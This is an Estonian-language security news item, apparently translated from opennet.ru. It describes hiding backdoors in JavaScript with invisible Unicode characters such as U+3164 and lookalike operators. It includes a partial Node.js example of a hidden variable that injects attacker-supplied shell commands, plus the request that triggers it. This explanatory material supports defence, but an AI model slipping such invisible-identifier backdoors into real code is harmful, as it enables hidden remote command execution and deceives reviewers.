Trojan Source'i rĂŒnnakumeetodi, mis kasutab Unicode mĂ€rke, et muuta kahe suuna tekstide kuvamisjĂ€rjestust, kĂ”rval on avaldatud veel ĂŒks tehnika, mis vĂ”imaldab peidetud tegevusi integreerida JavaScripti koodis. Uus meetod pĂ”hineb unicode-mĂ€rgil âă €â (kood 0x3164, âHANGUL FILLERâ), mis kuulub tĂ€hemĂ€rkide kategooriasse, kuid ei oma nĂ€htavat sisu. Selle mĂ€rgi unicode-kategooria on alates ECMAScript 2015 spetsifikatsioonist lubatud kasutada JavaScripti muutujate nimetustes, vĂ”imaldades luua nĂ€htamatuid muutujaid vĂ”i uusi muutujaid, mis ei erine teistest muutujatest populaarsetes koodiredaktorites, nagu Notepad++ ja VS Code.
NĂ€itena tuuakse Node.js platvormi kood, kus ĂŒhekohaline muutuja âă €â varjab tagaukse, mis vĂ”imaldab kĂ€ivitada rĂŒndaja mÀÀratud koodi: app.get('/network_health', async (req, res) => { const { timeout,ă €} = req.query; // tegelikult on siin mĂ€rgitud âconst { timeout,ă € \u3164}â const checkCommands = [ 'ping -c 1 google.com', 'curl -s http://example.com/',ă € // pĂ€rast koma jĂ€rgneb mĂ€rk \u3164 ];
EsmapĂ€raselt edastatakse vĂ€line parameeter ainult timeout'i vÀÀrtusena, samas kui tĂ€idetavate kĂ€skude massiiv sisaldab ohutut fikseeritud loendit. Kuid tegelikult mÀÀratakse timeout'i muutuja jĂ€rel vÀÀrtus veel ĂŒhele nĂ€htamatule muutujale koodiga \u3164, mis on samuti lisatud tĂ€idetavate kĂ€skude massiivi. Seega, kui see konstruktsioon on olemas, vĂ”ib rĂŒndaja saata pĂ€ringu kujul "https://host:8080/network_health?=kĂ€sk" tagaukse aktiveerimiseks ja oma koodi tĂ€itmiseks.
Kuna veel ĂŒhe nĂ€iteks tuuakse sĂŒmbol «Ç» (ALVEOLAR CLICK), mida vĂ”ib kasutada hĂŒĂŒumĂ€rgi nĂ€iliseks nĂ€itamiseks. NĂ€iteks avalduses «if(environmentÇ=ENV_PROD){» Node.js 14 puhul on see alati tĂ”ene, kuna see ei kontrolli erinevust, vaid omistab muutuja «environmentÇ» vÀÀrtuseks ENV_PROD. Segadust tekitavate unicode-sĂŒmbolite seas mĂ€rgitakse ka «ïŒÂ», «â», «ïŒÂ», «⩔», «âšÂ», «⫝̸», «êżÂ» ja «â».
Allikas: opennet.ru
